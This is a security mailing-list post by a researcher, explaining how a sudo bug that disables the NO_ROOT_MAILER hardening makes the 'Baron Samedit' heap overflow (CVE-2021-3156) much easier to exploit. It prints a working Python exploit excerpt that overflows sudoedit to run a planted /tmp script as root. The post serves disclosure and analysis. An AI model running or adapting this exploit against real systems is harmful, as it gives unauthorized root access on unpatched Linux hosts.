Re: sudo: Ineffective NO_ROOT_MAILER and Baron Samedit

[Roman Fiedler <roman.fiedler () unparalleled eu>]

Roman Fiedler writes:
> Hello list,
>
> While reproducing the exploitation of "Baron Samedit" another
> minor issue in Sudo was discovered. It affects Sudo 1.9.4
> and newer and renders the "NO_ROOT_MAILER" hardening option
> useless. While this bug by itself is not known to be exploitable
> on its own, combining it with the "Baron Samedit" heap overflow
> eases exploitation of the later tremendously.
> ...

Now sudo patches are already deployed widely, so this is how
the NO_ROOT_MAILER flag influenced exploit complexity:

* With "NO_ROOT_MAILER" working using "nss_load_library" method,
e.g. implemented by blasty: main program
https://github.com/blasty/CVE-2021-3156/blob/main/hax.c
(140 lines with 18 lines header) and the library to be loaded
https://github.com/blasty/CVE-2021-3156/blob/main/lib.c
(16 lines), total 156 lines.

* Without "NO_ROOT_MAILER": love-letter-to-the-baron.py
(43 lines with 18 lines header).


heraldName = '/tmp/XXXXXXXXXXXXXXXXXXXXXXXXX'
heraldFd = os.open(heraldName, os.O_WRONLY|os.O_CREAT|os.O_TRUNC|os.O_NOCTTY)
os.write(
    heraldFd,
    b'#!/bin/sh\ncat <<EOF > /the-letter.txt\nMy dearest Baron,...\n\nWith love,\nX*96\n\nLegal disclaimer:\n\n' + 
bytes(disclaimer, 'utf8') + b'\nEOF\n')
os.fchmod(heraldFd, 0o755)
os.close(heraldFd)

devNullHandle = os.open('/dev/null', os.O_RDONLY)
letterEnv = {
    'LC_ALL': 'C.UTF-8',
    'LANGUAGE': 'A'*84}
letterArgs = [
    '/usr/bin/sudoedit', '-S', '-s', '\\',
    'X'*96 + heraldName]
process = subprocess.Popen(
    letterArgs, stdin=devNullHandle, env=letterEnv, cwd="/")
process.wait()


Note: I know that line numbers are not a perfect measure for
complexity, it is just a very poor approximation.



I also collected some historic information (software archeology)
on the security-ping-pong around "NO_ROOT_MAILER" feature:
https:///unparalleled.eu/blog/2021/20210215-a-love-letter-to-the-baron-part2/

Kind regads,
Roman

| |  DI Roman Fiedler
| /  roman.fiedler at unparalleled.eu  +43 677 63 29 28 29
/ |  Unparalleled IT Services e.U.     FN: 516074h           VAT: ATU75050524
| |  https://unparalleled.eu/          Felix-Dahn-Platz 4, 8010 Graz, Austria